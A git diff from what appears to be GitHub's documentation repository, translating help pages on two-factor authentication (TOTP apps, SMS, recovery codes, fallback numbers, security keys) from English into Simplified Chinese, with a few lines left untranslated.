-With two-factor authentication enabled, you'll need to provide an authentication code when accessing {% data variables.product.product_name %} through your browser. If you access {% data variables.product.product_name %} using other methods, such as the API or the command line, you'll need to use an alternative form of authentication. For more information, see "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github)."
 
-## Providing a 2FA code when signing in to the website
+启用双重身份验证后，您在通过浏览器访问 {% data variables.product.product_name %} 时需要提供验证码。 如果使用其他方法访问 {% data variables.product.product_name %}，如 API 或命令行，则需要使用其他形式的身份验证。 更多信息请参阅“[关于 {% data variables.product.prodname_dotcom %} 向验证身份](/github/authenticating-to-github/about-authentication-to-github)”。
 
-After you sign in to {% data variables.product.product_name %} using your password, you'll be prompted to provide an authentication code from {% ifversion fpt or ghec %}a text message or{% endif %} your TOTP app.
+## 登录网站时提供 2FA 码
 
-{% data variables.product.product_name %} will only ask you to provide your 2FA authentication code again if you've logged out, are using a new device, or your session expires.
+在使用密码登录 {% data variables.product.product_name %} 后，系统会提示您提供{% ifversion fpt or ghec %}短信或{% endif %} TOTP 应用程序中的验证码。
 
-### Generating a code through a TOTP application
+{% data variables.product.product_name %} 仅在您注销后、使用新设备或会话过期时才会要求您再次提供 2FA 验证码。
 
-If you chose to set up two-factor authentication using a TOTP application on your smartphone, you can generate an authentication code for {% data variables.product.product_name %} at any time. In most cases, just launching the application will generate a new code. You should refer to your application's documentation for specific instructions.
+### 通过 TOTP 应用程序生成代码
 
-If you delete the mobile application after configuring two-factor authentication, you'll need to provide your recovery code to get access to your account. For more information, see "[Recovering your account if you lose your two-factor authentication credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)"
+如果选择使用 TOTP 应用程序在智能手机上设置双重身份验证，可随时为 {% data variables.product.product_name %} 生成验证码。 大多数情况下，只有启动应用程序才会生成新代码。 具体说明请参阅应用程序的文档。
+
+如果在配置双重身份验证后删除移动应用程序，则需要提供恢复代码才可访问您的帐户。 更多信息请参阅“[丢失双重身份验证凭据时恢复帐户](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)”
 
 {% ifversion fpt or ghec %}
 
-### Receiving a text message
+### 接收短信
 
-If you set up two-factor authentication via text messages, {% data variables.product.product_name %} will send you a text message with your authentication code.
+如果设置通过短信进行双重身份验证，{% data variables.product.product_name %} 将通过短信向您发送验证码。
 
 {% endif %}
 
-## Using two-factor authentication with the command line
+## 通过命令行使用双重身份验证
 
-After you've enabled 2FA, you must use a personal access token or SSH key instead of your password when accessing {% data variables.product.product_name %} on the command line.
+在启用 2FA 后，您在命令行上访问 {% data variables.product.product_name %} 时必须使用个人访问令牌或 SSH 密钥，而不是密码。
 
-### Authenticating on the command line using HTTPS
+### 在命令行上使用 HTTPS 验证
 
-After you've enabled 2FA, you must create a personal access token to use as a password when authenticating to {% data variables.product.product_name %} on the command line using HTTPS URLs.
+启用 2FA 后，必须创建个人访问令牌以用作在命令行上使用 HTTPS URL 向 {% data variables.product.product_name %} 验证时的密码。
 
-When prompted for a username and password on the command line, use your {% data variables.product.product_name %} username and personal access token. The command line prompt won't specify that you should enter your personal access token when it asks for your password.
+当命令行上提供用户名和密码时，使用您的 {% data variables.product.product_name %} 用户名和个人访问令牌。 命令行提示不会指出在要求密码时您应输入个人访问令牌。
 
-For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
+更多信息请参阅“[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”。
 
-### Authenticating on the command line using SSH
+### 在命令行上使用 SSH 验证
 
-Enabling 2FA doesn't change how you authenticate to {% data variables.product.product_name %} on the command line using SSH URLs. For more information about setting up and using an SSH key, see "[Connecting to {% data variables.product.prodname_dotcom %} with SSH](/articles/connecting-to-github-with-ssh/)."
+启用 2FA 不会更改您在命令行上使用 SSH URL 向 {% data variables.product.product_name %} 验证的方式。 有关设置和使用 SSH 密钥的更多信息，请参阅“[通过 SSH 连接 {% data variables.product.prodname_dotcom %}](/articles/connecting-to-github-with-ssh/)”。
 
-## Using two-factor authentication to access a repository using Subversion
+## 使用双重身份验证通过 Subversion 访问仓库
 
-When you access a repository via Subversion, you must provide a personal access token instead of entering your password. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
+通过 Subversion 访问仓库时，必须提供个人人访问令牌，而不是输入密码。 更多信息请参阅“[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”。
 
-## Troubleshooting
+## 疑难解答
 
-If you lose access to your two-factor authentication credentials, you can use your recovery codes or another recovery method (if you've set one up) to regain access to your account. For more information, see "[Recovering your account if you lose your 2FA credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)."
+如果失去对双重身份验证凭据的访问，您可以使用恢复代码或其他恢复方式（如已设置）重新获取对帐户的访问。 更多信息请参阅“[丢失 2FA 凭据时恢复帐户](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)”。
 
-If your authentication fails several times, you may wish to synchronize your phone's clock with your mobile provider. Often, this involves checking the "Set automatically" option on your phone's clock, rather than providing your own time zone.
+如果身份验证失败多次，您可能要与移动提供商同步手机的时钟。 通常，这需要在手机的时钟上选中 "Set automatically"（自动设置）选项，而不是提供自己的时区。
 
-## Further reading
+## 延伸阅读
 
-- "[About two-factor authentication](/articles/about-two-factor-authentication)"
-- "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)"
-- "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)"
-- "[Recovering your account if you lose your two-factor authentication credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)"
+- "[关于双重身份验证](/articles/about-two-factor-authentication)"
+- "[配置双重身份验证](/articles/configuring-two-factor-authentication)"
+- "[配置双重身份验证恢复方法](/articles/configuring-two-factor-authentication-recovery-methods)"
+- "[丢失双重身份验证凭据时恢复帐户](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)"
diff --git a/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md b/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md
index 025b05a7ce..65e29af12c 100644
--- a/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md
+++ b/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md
@@ -1,6 +1,6 @@
 ---
-title: Changing two-factor authentication delivery methods for your mobile device
-intro: You can switch between receiving authentication codes through a text message or a mobile application.
+title: 更改移动设备的双重身份验证递送方式
+intro: 您可以选择通过短信或移动应用程序接收验证码。
 redirect_from:
   - /articles/changing-two-factor-authentication-delivery-methods
   - /articles/changing-two-factor-authentication-delivery-methods-for-your-mobile-device
@@ -11,8 +11,9 @@ versions:
   ghec: '*'
 topics:
   - 2FA
-shortTitle: Change 2FA delivery method
+shortTitle: 更改 2FA 递送方式
 ---
+
 {% note %}
 
 **Note:** Changing your primary method for two-factor authentication invalidates your current two-factor authentication setup, including your recovery codes. Keep your new set of recovery codes safe. Changing your primary method for two-factor authentication does not affect your fallback SMS configuration, if configured. For more information, see "[Configuring two-factor authentication recovery methods](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods#setting-a-fallback-authentication-number)."
@@ -21,15 +22,13 @@ shortTitle: Change 2FA delivery method
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security %}
-3. Next to "SMS delivery", click **Edit**.
-  ![Edit SMS delivery options](/assets/images/help/2fa/edit-sms-delivery-option.png)
-4. Under "Delivery options", click **Reconfigure two-factor authentication**.
-    ![Switching your 2FA delivery options](/assets/images/help/2fa/2fa-switching-methods.png)
-5. Decide whether to set up two-factor authentication using a TOTP mobile app or text message. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)."
-    - To set up two-factor authentication using a TOTP mobile app, click **Set up using an app**.
-    - To set up two-factor authentication using text message (SMS), click **Set up using SMS**.
+3. 在“SMS delivery（SMS 递送）旁边，单击 **Edit（编辑）**。 ![编辑 SMS 递送选项](/assets/images/help/2fa/edit-sms-delivery-option.png)
+4. 在“Delivery options（递送选项）”下，单击 **Reconfigure two-factor authentication（重新配置双重身份验证）**。 ![切换 2FA 递送选项](/assets/images/help/2fa/2fa-switching-methods.png)
+5. 决定是使用 TOTP 移动应用程序还是使用短信设置双重身份验证。 更多信息请参阅“[配置双重身份验证](/articles/configuring-two-factor-authentication)”。
+    - 要使用 TOTP 移动应用程序设置双重身份验证，请单击 **Set up using an app（使用应用程序设置）**。
+    - 要使用短信 (SMS) 设置双重身份验证，请单击 **Set up using SMS（使用 SMS 设置）**。
 
-## Further reading
+## 延伸阅读
 
-- "[About two-factor authentication](/articles/about-two-factor-authentication)"
-- "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)"
+- "[关于双重身份验证](/articles/about-two-factor-authentication)"
+- "[配置双重身份验证恢复方法](/articles/configuring-two-factor-authentication-recovery-methods)"
diff --git a/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods.md b/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods.md
index d8d0f02c3a..793aef5ce0 100644
--- a/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods.md
+++ b/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring two-factor authentication recovery methods
-intro: You can set up a variety of recovery methods to access your account if you lose your two-factor authentication credentials.
+title: 配置双重身份验证恢复方法
+intro: 您可以设置多种恢复方法，以便在丢失双重身份验证凭据的情况下访问您的帐户。
 redirect_from:
   - /articles/downloading-your-two-factor-authentication-recovery-codes
   - /articles/setting-a-fallback-authentication-number
@@ -16,75 +16,71 @@ versions:
   ghec: '*'
 topics:
   - 2FA
-shortTitle: Configure 2FA recovery
+shortTitle: 配置 2FA 恢复
 ---
-In addition to securely storing your two-factor authentication recovery codes, we strongly recommend configuring one or more additional recovery methods.
 
-## Downloading your two-factor authentication recovery codes
+除了安全存储双重身份验证恢复代码之外，我们强烈建议您配置一种或多种其他恢复方法。
 
-{% data reusables.two_fa.about-recovery-codes %} You can also download your recovery codes at any point after enabling two-factor authentication.
+## 下载双重身份验证恢复代码
 
-To keep your account secure, don't share or distribute your recovery codes. We recommend saving them with a secure password manager, such as:
+{% data reusables.two_fa.about-recovery-codes %} 也可以在启用双重身份验证后随时下载恢复代码。
+
+为确保您的帐户安全，请勿分享或分发您的恢复代码。 我们建议使用安全密码管理器保存它们，例如：
 - [1Password](https://1password.com/)
 - [LastPass](https://lastpass.com/)
 
-If you generate new recovery codes or disable and re-enable 2FA, the recovery codes in your security settings automatically update.
+如果您生成新的恢复代码或禁用并重新启用 2FA，则安全设置中的恢复代码会自动更新。
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security %}
 {% data reusables.two_fa.show-recovery-codes %}
-4. Save your recovery codes in a safe place. Your recovery codes can help you get back into your account if you lose access.
-    - To save your recovery codes on your device, click **Download**.
-    - To save a hard copy of your recovery codes, click **Print**.
-    - To copy your recovery codes for storage in a password manager, click **Copy**.
-  ![List of recovery codes with option to download, print, or copy the codes](/assets/images/help/2fa/download-print-or-copy-recovery-codes-before-continuing.png)
+4. 将恢复代码保存在安全的位置。 在失去访问权限时，恢复代码可帮助您恢复帐户登录。
+    - 要在设备上保存恢复代码，请单击 **Download（下载）**。
+    - 要保存恢复代码的硬拷贝，请单击 **Print（打印）**。
+    - 要复制恢复代码以存储在密码管理器中，请单击**复制**。 ![可选择下载、打印或复制代码的恢复代码列表](/assets/images/help/2fa/download-print-or-copy-recovery-codes-before-continuing.png)
 
-## Generating a new set of recovery codes
+## 生成一组新的恢复代码
 
-Once you use a recovery code to regain access to your account, it cannot be reused. If you've used all 16 recovery codes, you can generate another list of codes. Generating a new set of recovery codes will invalidate any codes you previously generated.
+使用某个恢复代码恢复帐户访问后，该代码无法再用。 用完全部 16 个恢复代码后，可以生成另一个代码列表。 生成一组新的恢复代码将导致此前生成的任何代码失效。
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security %}
 {% data reusables.two_fa.show-recovery-codes %}
-3. To create another batch of recovery codes, click **Generate new recovery codes**.
-	![Generate new recovery codes button](/assets/images/help/2fa/generate-new-recovery-codes.png)
+3. 要创建另一批恢复代码，请单击 **Generate new recovery codes（生成新的恢复代码）**。 ![生成新恢复代码按钮](/assets/images/help/2fa/generate-new-recovery-codes.png)
 
-## Configuring a security key as an additional two-factor authentication method
+## 将安全密钥配置为附加双重身份验证方法
 
-You can set up a security key as a secondary two-factor authentication method, and use the security key to regain access to your account. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)."
+您可以将安全密钥设置为辅助双重身份验证方法，以便使用安全密钥恢复帐户访问。 更多信息请参阅“[配置双重身份验证](/articles/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)”。
 
 {% ifversion fpt or ghec %}
 
-## Setting a fallback authentication number
+## 设置后备身份验证号码
 
-You can provide a second number for a fallback device. If you lose access to both your primary device and your recovery codes, a backup SMS number can get you back in to your account.
+您可以提供后备设备的号码作为第二号码。 在无法访问主设备和恢复代码时，可通过备用短信号码恢复帐户登录。
 
-You can use a fallback number regardless of whether you've configured authentication via text message or TOTP mobile application.
+无论您配置的身份验证方法是通过短信还是通过 TOTP 移动应用程序，都可以使用后备号码。
 
 {% warning %}
 
-**Warning:** Using a fallback number is a last resort. We recommend configuring additional recovery methods if you set a fallback authentication number.
-- Bad actors may attack cell phone carriers, so SMS authentication is risky.
-- SMS messages are only supported for certain countries outside the US; for the list, see "[Countries where SMS authentication is supported](/articles/countries-where-sms-authentication-is-supported)".
+**警告：**使用后备号码是最后的选择。 如果您设置了后备身份验证号码，我们建议您配置其他恢复方法。
+- 不法之徒可能会攻击手机运营商，因此 SMS 身份验证存在风险。
+- 只有美国以外的某些国家/地区支持短信验证；有关支持列表详情，请参阅“[支持 SMS 身份验证的国家/地区](/articles/countries-where-sms-authentication-is-supported)”。
 
 {% endwarning %}
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security %}
-3. Next to "Fallback SMS number", click **Add**.
-![Add fallback SMS number button](/assets/images/help/2fa/add-fallback-sms-number-button.png)
-4. Under "Fallback SMS number", click **Add fallback SMS number**.
-![Add fallback SMS number text](/assets/images/help/2fa/add_fallback_sms_number_text.png)
-5. Select your country code and type your mobile phone number, including the area code. When your information is correct, click **Set fallback**.
-	![Set fallback SMS number](/assets/images/help/2fa/2fa-fallback-number.png)
+3. 在“Fallback SMS number（后备 SMS 号码）”旁边，单击 **Add（添加）**。 ![添加后备 SMS 号码按钮](/assets/images/help/2fa/add-fallback-sms-number-button.png)
+4. 在“Fallback SMS number（后备 SMS 号码）”下，单击 **Add fallback SMS number（添加后备 SMS 号码）**。 ![添加后备 SMS 号码文本](/assets/images/help/2fa/add_fallback_sms_number_text.png)
+5. 选择您的国家/地区代码并键入您的手机号码，包括区号。 确认信息无误后，单击 **Set fallback（设置后备号码）**。 ![设置后备 SMS 号码](/assets/images/help/2fa/2fa-fallback-number.png)
 
-After setup, the backup device will receive a confirmation SMS.
+设置完成后，备用设备将收到确认短信。
 
 {% endif %}
 
-## Further reading
+## 延伸阅读
 
-- "[About two-factor authentication](/articles/about-two-factor-authentication)"
-- "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)"
-- "[Accessing {% data variables.product.prodname_dotcom %} using two-factor authentication](/articles/accessing-github-using-two-factor-authentication)"
-- "[Recovering your account if you lose your two-factor authentication credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)"
+- "[关于双重身份验证](/articles/about-two-factor-authentication)"
+- "[配置双重身份验证](/articles/configuring-two-factor-authentication)"
+- “[使用双重身份验证访问 {% data variables.product.prodname_dotcom %}](/articles/accessing-github-using-two-factor-authentication)”。
+- "[丢失双重身份验证凭据时恢复帐户](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)"
diff --git a/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication.md b/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication.md
index b1b364e782..bdff2cf6cd 100644
--- a/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication.md
+++ b/translations/zh-CN/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring two-factor authentication
-intro: You can choose among multiple options to add a second source of authentication to your account.
+title: 配置双重身份验证
+intro: 您可以选择多个选项，以向帐户添加第二个身份验证源。
 redirect_from:
   - /articles/configuring-two-factor-authentication-via-a-totp-mobile-app
   - /articles/configuring-two-factor-authentication-via-text-message
@@ -14,29 +14,30 @@ versions:
   ghec: '*'
 topics:
   - 2FA
-shortTitle: Configure 2FA
+shortTitle: 配置 2FA
 ---
-You can configure two-factor authentication using a mobile app{% ifversion fpt or ghec %} or via text message{% endif %}. You can also add a security key.
 
-We strongly recommend using a time-based one-time password (TOTP) application to configure 2FA.{% ifversion fpt or ghec %} TOTP applications are more reliable than SMS, especially for locations outside the United States.{% endif %} TOTP apps support the secure backup of your authentication codes in the cloud and can be restored if you lose access to your device.
+您可以使用移动应用程序{% ifversion fpt or ghec %} 或通过短信{% endif %}配置双重身份验证。 您也可以添加安全密钥。
+
+我们强力建议使用基于时间的一次性密码 (TOTP) 应用程序来配置 2FA。{% ifversion fpt or ghec %} TOTP 应用程序比 SMS 更可靠，特别是对于美国以外的地区。{% endif %} TOTP 应用程序支持在云中安全备份您的验证码，在无法访问设备的情况下也可以进行恢复。
 
 {% warning %}
 
-**Warning:**
-- If you're a member{% ifversion fpt or ghec %}, billing manager,{% endif %} or outside collaborator to a private repository of an organization that requires two-factor authentication, you must leave the organization before you can disable 2FA on {% data variables.product.product_location %}.
-- If you disable 2FA, you will automatically lose access to the organization and any private forks you have of the organization's private repositories. To regain access to the organization and your forks, re-enable two-factor authentication and contact an organization owner.
+**警告：**
+- 如果您是要求双重身份验证的组织中的成员{% ifversion fpt or ghec %}、帐单管理员{% endif %}或其私有仓库的外部协作者，则必须离开该组织后才能在 {% data variables.product.product_location %} 上禁用 2FA。
+- 如果禁用 2FA，您将自动失去对该组织以及您在该组织私有仓库中所拥有的任何私有复刻的访问权限。 要恢复对该组织和复刻的访问权限，请重新启用双重身份验证并联系组织所有者。
 
 {% endwarning %}
 
 {% ifversion fpt or ghec %}
 
-If you're a member of an {% data variables.product.prodname_emu_enterprise %}, you cannot configure 2FA for your {% data variables.product.prodname_managed_user %} account. 2FA should be configured through your identity provider. 
+If you're a member of an {% data variables.product.prodname_emu_enterprise %}, you cannot configure 2FA for your {% data variables.product.prodname_managed_user %} account. 2FA should be configured through your identity provider.
 
 {% endif %}
 
-## Configuring two-factor authentication using a TOTP mobile app
+## 使用 TOTP 移动应用程序配置双重身份验证
 
-A time-based one-time password (TOTP) application automatically generates an authentication code that changes after a certain period of time. We recommend using cloud-based TOTP apps such as:
+基于时间的一次性密码 (TOTP) 应用程序可自动生成在特定时间后变化的验证码。 我们建议使用基于云的 TOTP 应用程序，例如：
 - [1Password](https://support.1password.com/one-time-passwords/)
 - [Authy](https://authy.com/guides/github/)
 - [LastPass Authenticator](https://lastpass.com/auth/)
@@ -44,98 +45,88 @@ A time-based one-time password (TOTP) application automatically generates an aut
 
 {% tip %}
 
-**Tip**: To configure authentication via TOTP on multiple devices, during setup, scan the QR code using each device at the same time. If 2FA is already enabled and you want to add another device, you must re-configure 2FA from your security settings.
+**提示**：要在多个设备上通过 TOTP 配置身份验证，请在设置过程中，同时使用每个设备扫描 QR 码。 如果已启用 2FA，但您要添加其他设备，则必须从安全设置中重新配置 2FA。
 
 {% endtip %}
 
-1. Download a TOTP app.
+1. 下载 TOTP 应用程序。
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security %}
 {% data reusables.two_fa.enable-two-factor-authentication %}
 {%- ifversion fpt or ghes > 3.1 %}
-5. Under "Two-factor authentication", select **Set up using an app** and click **Continue**.
-6. Under "Authentication verification", do one of the following:
-    - Scan the QR code with your mobile device's app. After scanning, the app displays a six-digit code that you can enter on {% data variables.product.product_name %}.
-    - If you can't scan the QR code, click **enter this text code** to see a code that you can manually enter in your TOTP app instead.
-    ![Click enter this code](/assets/images/help/2fa/2fa_wizard_app_click_code.png)
-7. The TOTP mobile application saves your account on {% data variables.product.product_location %} and generates a new authentication code every few seconds. On {% data variables.product.product_name %}, type the code into the field under "Enter the six-digit code from the application". If your recovery codes are not automatically displayed, click **Continue**.
-![TOTP enter code field](/assets/images/help/2fa/2fa_wizard_app_enter_code.png)
+5. 在“Two-factor authentication（双重身份验证）”下选择 **Set up using an app（使用应用程序设置）**并点击 **Continue（继续）**。
+6. 在“Authentication verification（身份验证）”下，执行以下操作之一：
+    - 使用移动设备的应用程序扫描 QR 码。 扫描完成后，应用程序会显示六位数代码，您可以在 {% data variables.product.product_name %} 输入该代码。
+    - 如果无法扫描 QR 码，请单击 **enter this text code（输入此文本代码）**以查看可复制的代码，然后在 TOTP app 上手动输入。 ![单击输入此代码](/assets/images/help/2fa/2fa_wizard_app_click_code.png)
+7. The TOTP mobile application saves your account on {% data variables.product.product_location %} and generates a new authentication code every few seconds. 在 {% data variables.product.product_name %} 上，请在“Enter the six-digit code from the application（从应用程序输入六位数代码）”下的字段中输入代码。 如果您的恢复代码未自动显示，请单击 **Continue（继续）**。 ![TOTP 输入代码字段](/assets/images/help/2fa/2fa_wizard_app_enter_code.png)
 {% data reusables.two_fa.save_your_recovery_codes_during_2fa_setup %}
 {%- else %}
-5. On the Two-factor authentication page, click **Set up using an app**.
-6. Save your recovery codes in a safe place. Your recovery codes can help you get back into your account if you lose access.
-    - To save your recovery codes on your device, click **Download**.
-    - To save a hard copy of your recovery codes, click **Print**.
-    - To copy your recovery codes for storage in a password manager, click **Copy**.
-    ![List of recovery codes with option to download, print, or copy the codes](/assets/images/help/2fa/download-print-or-copy-recovery-codes-before-continuing.png)
-7. After saving your two-factor recovery codes, click **Next**.
-8. On the Two-factor authentication page, do one of the following:
-    - Scan the QR code with your mobile device's app. After scanning, the app displays a six-digit code that you can enter on {% data variables.product.product_name %}.
-    - If you can't scan the QR code, click **enter this text code** to see a code you can copy and manually enter on {% data variables.product.product_name %} instead.
-    ![Click enter this code](/assets/images/help/2fa/totp-click-enter-code.png)
-9. The TOTP mobile application saves your account on {% data variables.product.product_location %} and generates a new authentication code every few seconds. On {% data variables.product.product_name %}, on the 2FA page, type the code and click **Enable**.
-	![TOTP Enable field](/assets/images/help/2fa/totp-enter-code.png)
+5. 在双重身份验证页面上，单击 **Set up using an app（使用应用程序设置）**。
+6. 将恢复代码保存在安全的位置。 在失去访问权限时，恢复代码可帮助您恢复帐户登录。
+    - 要在设备上保存恢复代码，请单击 **Download（下载）**。
+    - 要保存恢复代码的硬拷贝，请单击 **Print（打印）**。
+    - 要复制恢复代码以存储在密码管理器中，请单击**复制**。 ![可选择下载、打印或复制代码的恢复代码列表](/assets/images/help/2fa/download-print-or-copy-recovery-codes-before-continuing.png)
+7. 保存双重身份验证恢复代码后，单击 **Next（下一步）**。
+8. 在双重身份验证页面上，执行以下操作之一：
+    - 使用移动设备的应用程序扫描 QR 码。 扫描完成后，应用程序会显示六位数代码，您可以在 {% data variables.product.product_name %} 输入该代码。
+    - 如果无法扫描 QR 码，请单击 **enter this text code（输入此文本代码）**以查看可复制的代码，然后在 {% data variables.product.product_name %} 上手动输入。 ![单击输入此代码](/assets/images/help/2fa/totp-click-enter-code.png)
+9. The TOTP mobile application saves your account on {% data variables.product.product_location %} and generates a new authentication code every few seconds. 在 {% data variables.product.product_name %} 中的 2FA 页面上，键入代码并单击 **Enable（启用）**。 ![TOTP 启用字段](/assets/images/help/2fa/totp-enter-code.png)
 {%- endif %}
 {% data reusables.two_fa.test_2fa_immediately %}
 
 {% ifversion fpt or ghec %}
 
-## Configuring two-factor authentication using text messages
+## 使用短信配置双重身份验证
 
-If you're unable to authenticate using a TOTP mobile app, you can authenticate using SMS messages. You can also provide a second number for a fallback device. If you lose access to both your primary device and your recovery codes, a backup SMS number can get you back in to your account.
+如果无法使用 TOTP 移动应用程序进行身份验证，您可以使用短信进行身份验证。 也可以提供后备设备的号码作为第二号码。 在无法访问主设备和恢复代码时，可通过备用短信号码恢复帐户登录。
 
-Before using this method, be sure that you can receive text messages. Carrier rates may apply.
+在使用此方法之前，请确保您可以接收短信。 运营商可能会收取短信费用。
 
 {% warning %}
 
-**Warning:** We **strongly recommend** using a TOTP application for two-factor authentication instead of SMS. {% data variables.product.product_name %} doesn't support sending SMS messages to phones in every country. Before configuring authentication via text message, review the list of countries where {% data variables.product.product_name %} supports authentication via SMS. For more information, see "[Countries where SMS authentication is supported](/articles/countries-where-sms-authentication-is-supported)".
+**警告：**我们**强烈建议**使用 TOTP 应用程序进行双重身份验证，而不是使用 SMS。 {% data variables.product.product_name %} 并非支持向每个国家/地区的手机发送短信。 通过短信配置身份验证之前，请查看 {% data variables.product.product_name %} 支持通过 SMS 验证的国家/地区列表。 更多信息请参阅“[支持 SMS 身份验证的国家/地区](/articles/countries-where-sms-authentication-is-supported)”。
 
 {% endwarning %}
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security %}
 {% data reusables.two_fa.enable-two-factor-authentication %}
-4. Under "Two-factor authentication", select **Set up using SMS** and click **Continue**.
-5. Under "Authentication verification", select your country code and type your mobile phone number, including the area code. When your information is correct, click **Send authentication code**.
+4. 在“Two-factor authentication（双重身份验证）”下选择 **Set up using SMS（使用 SMS 设置）**并点击 **Continue（继续）**。
+5. 在“Authentication verification（身份验证）”下，选择您的国家/地区代码并键入您的手机号码，包括区号。 确认信息无误后，单击 **Send authentication code（发送验证码）**。
 
-  ![2FA SMS screen](/assets/images/help/2fa/2fa_wizard_sms_send.png)
+  ![2FA SMS 屏幕](/assets/images/help/2fa/2fa_wizard_sms_send.png)
 
-6. You'll receive a text message with a security code. On {% data variables.product.product_name %}, type the code into the field under "Enter the six-digit code sent to your phone" and click **Continue**.
+6. 您将收到含安全码的短信。 在 {% data variables.product.product_name %} 上，请在“Enter the six-digit code sent to your phone（输入发送到手机的六位数代码）”下的字段中输入代码，然后单击 **Continue（继续）**。
 
-  ![2FA SMS continue field](/assets/images/help/2fa/2fa_wizard_sms_enter_code.png)
+  ![2FA SMS 继续字段](/assets/images/help/2fa/2fa_wizard_sms_enter_code.png)
 {% data reusables.two_fa.save_your_recovery_codes_during_2fa_setup %}
 {% data reusables.two_fa.test_2fa_immediately %}
 
 {% endif %}
 
-## Configuring two-factor authentication using a security key
+## 使用安全密钥配置双重身份验证
 
 {% data reusables.two_fa.after-2fa-add-security-key %}
 
-On most devices and browsers, you can use a physical security key over USB or NFC. Some browsers can use the fingerprint reader, facial recognition, or password/PIN on your device as a security key.
+在大多数设备和浏览器上，您可以通过 USB 或 NFC 使用物理安全密钥。 某些浏览器可以使用设备上的指纹读取器、面部识别或密码/PIN 作为安全密钥。
 
-Authentication with a security key is *secondary* to authentication with a TOTP application{% ifversion fpt or ghec %} or a text message{% endif %}. If you lose your security key, you'll still be able to use your phone's code to sign in.
+安全密钥验证是 TOTP 应用程序{% ifversion fpt or ghec %} 或短信{% endif %}验证的*备用*选择。 如果您丢失了安全密钥，仍可以使用手机的代码进行登录。
 
-1. You must have already configured 2FA via a TOTP mobile app{% ifversion fpt or ghec %} or via SMS{% endif %}.
-2. Ensure that you have a WebAuthn compatible security key inserted into your computer.
+1. 必须已通过 TOTP 移动应用程序{% ifversion fpt or ghec %} 或通过 SMS{% endif %} 配置了 2FA。
+2. 确保您的计算机中已插入 WebAuthn 兼容安全密钥。
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security %}
-5. Next to "Security keys", click **Add**.
-  ![Add security keys option](/assets/images/help/2fa/add-security-keys-option.png)
-6. Under "Security keys", click **Register new security key**.
-  ![Registering a new security key](/assets/images/help/2fa/security-key-register.png)
-7. Type a nickname for the security key, then click **Add**.
-  ![Providing a nickname for a security key](/assets/images/help/2fa/security-key-nickname.png)
-8. Activate your security key, following your security key's documentation.
-  ![Prompt for a security key](/assets/images/help/2fa/security-key-prompt.png)
-9.  Confirm that you've downloaded and can access your recovery codes. If you haven't already, or if you'd like to generate another set of codes, download your codes and save them in a safe place. If you lose access to your account, you can use your recovery codes to get back into your account. For more information, see "[Recovering your account if you lose your 2FA credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)."
-	![Download recovery codes button](/assets/images/help/2fa/2fa-recover-during-setup.png)
+5. 在“Security keys（安全密钥）”旁边，单击 **添加**。 ![添加安全密钥选项](/assets/images/help/2fa/add-security-keys-option.png)
+6. 在“Security keys（安全密钥）”下，单击 **Register new security key（注册新安全密钥）**。 ![注册新安全密钥](/assets/images/help/2fa/security-key-register.png)
+7. 键入安全密钥的昵称，然后单击 **Add（添加）**。 ![为安全密钥提供昵称](/assets/images/help/2fa/security-key-nickname.png)
+8. 按照安全密钥的文档激活安全密钥。 ![提示安全密钥](/assets/images/help/2fa/security-key-prompt.png)
